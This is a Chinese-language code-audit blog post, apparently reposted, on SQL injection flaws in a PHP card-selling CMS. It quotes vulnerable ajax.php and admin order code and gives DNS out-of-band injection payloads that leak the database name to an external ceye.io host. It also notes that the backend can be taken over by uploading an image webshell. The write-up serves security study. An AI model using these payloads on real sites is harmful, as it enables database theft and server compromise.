記一次發卡網代碼審計


前言

好胸弟檸楓昨天dd了我一下,這不,叫我一起審計發卡的cms

img

君無戲言,最近也在整二進制,當然要跟我的好胸弟一起組隊py一下,不知道我都多久沒審了,吐

咱語文也不是很好,各位看官就將就着看看就好,水文勿噴

img

0x01. 前台兩枚sql注入

img

打開一看,發現不是mvc框架了,那就感覺沒啥好看頭了,對於發卡網這種功能一般情況下是沒多少功能點讓我getshell的(可能是我太菜,大佬也可以審計一波,交流交流)

img

直接進來看一下發現這邊沒啥可以利用的,莫得慌,我們按照功能點來測,先買一下東西,抓個包,看下是神馬

img

這邊請求到了ajax.php這個頁面,好家伙,我們就直接去ajax.php審計一波

img

咦??這這這,這直接拼接的嗎,把我給整神了,一看到在where后面,完了

寫死了,這沒啥子用呀,拼接了也執行不了啥直接把條件寫死了,我們繼續往下看看

img

本以為這邊有愛情,我覺得我又行了,進去_if函數一看喲西,頭大了,我絲毫不慌,咱們隨緣挖洞,就不信全部都過濾了(好吧,關鍵地方就是過濾了)

可能我追求速度,沒那么認真,然后粗略一看,我們繼續看其他地方有沒有

這邊是可以看到是switch語句,對傳參進來的參數進行判斷

 case 'selgo': 
       $select = "<option>請選擇商品</option>";
        $tpID = _if($_POST['tyid']);
        if($tpID == ""){
            exit('{"code":0,"msg":"'.$select.'"}');
        }
        $sql = "select * from if_goods where  state =1 and tpId = ".$tpID." ORDER BY sotr desc";
        $res = $DB->query($sql);
       $i=1;
        while ($row =$DB->fetch($res)){
            $c = $DB->count("SELECT COUNT(id) from if_km  where stat = 0 and gid =".$row['id']);
          $select.="<option id='".$row['id']."' imgs='".$row['imgs']."' value='"._if2($row['gName'])."'kc='".$c."'  title='".$row['price']."' alt = '"._if2($row['gInfo'])."'>"._if2($row['gName'])."</option>";
         
        }
       exit('{"code":0,"msg":"'.$select.'"}');
        break; 

selgo這條被使用自定義的 _IF過濾了,這條分支就放過

//創建訂單
     case 'create':
         $out_trade_no = $_POST['out_trade_no'];
         $gid = _if($_POST['gid']);
         $money = _if($_POST['money']);
         $rel = _if($_POST['rel']);
         $type = _if($_POST['type']);
         $number = intval($_POST['number']);
         if($number <= 0){
             exit('{"code":-1,"msg":"no"}');
         }
         
         $checkcqq_row = $DB->get_row("select * from  if_blacklist where data = '$rel' and type = 1");
         if($checkcqq_row){
             exit('{"code":-1,"msg":"當前QQ已被列入本站黑名單"}');
         }
         $sql = "insert into if_order(out_trade_no,gid,money,rel,benTime,type,number) 
         values('{$out_trade_no}',{$gid},{$money},'{$rel}',now(),'{$type}',{$number})";
         $b = $DB->query($sql);
         if($b > 0){
             wsyslog("創建訂單成功!","IP:".real_ip().",城市:".get_ip_city());
             exit('{"code":0,"msg":"ok"}');
         }else{
             exit('{"code":-1,"msg":"數據庫出錯了~~~"}');
         }
         ;
     
     break;

create 創建訂單處未對 out_trade_no 進行過濾,從而導致了SQL注入
$sql = "insert into if_order(out_trade_no,gid,money,rel,benTime,type,number) values('{$out_trade_no}',{$gid},{$money},'{$rel}',now(),'{$type}',{$number})";

正常情況下這邊應該用報錯注入,但是下面沒有調用報錯函數,所以報錯信息是不回顯的
雖然這邊不能回顯,但是依舊還是可以執行的,而延時注入有漫長...

out_trade_no=1'or (select load_file(concat('\\\\',(select database()),'.pdkzwo.ceye.io\\aaa'))) or' &gid=2&money=10&rel=111111&type=alipay&number=1

img

最后發現 faka\template\chiji\getkm.php 還存在一枚注入

img

也就是 getkm.php 存在注入,我們直接去看看這個頁面,我們可以看到它這邊是必會執行這下面這條語句,我們就直接在post包中添加 tqm 這個參數就行

template里面是個模板,然后 模板里面都存在 getkm.php,也就是說都存在這個注入

img

img

於是扔給了sqlmap跑,但是我發現這邊不准確,不知道為什么,我本地搭建的也會延遲,等了好久,沒有反應;

img

img

那就想想其他騷姿勢,沒有 mysql_error() 函數,報錯注入就算了;

腦瓜子一轉,我覺得可以使用 dns帶外進行注入,說淦就淦

img

先去構造一下payload

tqm=1' and (select load_file(concat('\\\\',(select database()),'.pdkzwo.ceye.io\\aaa')))#

img

這就成功的執行了~~

轉眼看看sqlmap

img

還是就這樣吧......

0x02. 后台一枚sql注入

img

然后我們就在這個訂單這邊審計,看看能審計出什么

<?php
$pagesize=30;
$pages=intval($numrows/$pagesize);
if ($numrows%$pagesize)
{
 $pages++;
 }
if (isset($_GET['page'])){
$page=intval($_GET['page']);
}
else{
$page=1;
}
$offset=$pagesize*($page - 1);

if(!empty($_GET['act']) && $_GET['act'] != null && $_GET['act'] == "sousuo"){
    $pz = $_POST['pz'];
    $sql = "SELECT * FROM if_order WHERE  out_trade_no like '%$pz%' or trade_no like '%$pz%' or rel  like '%$pz%'   order by id desc ";
}else{
    $sql = "SELECT * FROM if_order WHERE{$sql} order by id desc limit $offset,$pagesize";
    // echo $sql;
}

$rs=$DB->query($sql);
while($res = $DB->fetch($rs))
{
echo '<tr><td>'.$res['out_trade_no'].'<br>'.$res['trade_no'].'</td>'
        . '<td>'.getName($res['gid'],$DB).'</td><td>'.$res['rel'].'</td>'
        . '<td>'.$res['endTime'].'</td><td>'.$res['number'].'</td><td>¥'.$res['money'].'('.getPayType($res['type']).')'.'</td><td>'.zt($res['sta']).'</td>';
}
?>

這邊出現intval函數,我們就放棄,然后我們繼續往下看,看到了這一段

img

這.....完全的典型的注入,這邊我們可以看到act傳參sousuo,POST包傳參pz就行了,注入點是在pz的地方

img

像我這種腳本小子,都是扔sqlmap一把梭

img

然后就這樣了,這個注入還是比較多的,我沒去審計完;

img

0x03.后台getshell

后台getshell就太簡單了,黑盒完全就可以測出來了

直接上傳圖片馬,或者修改mime就行,懂的都懂

本人代碼審計一般都是功能點審計,這也是我最常用,實戰中也是比較常用的。功能點審計完后可以看看還有沒有其他的漏洞,比如添加管理員的時候沒有校驗cookie等等的邏輯漏洞,然后再敏感函數查找,比如simplexml_load_string,unserilize,命令執行的函數等等


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM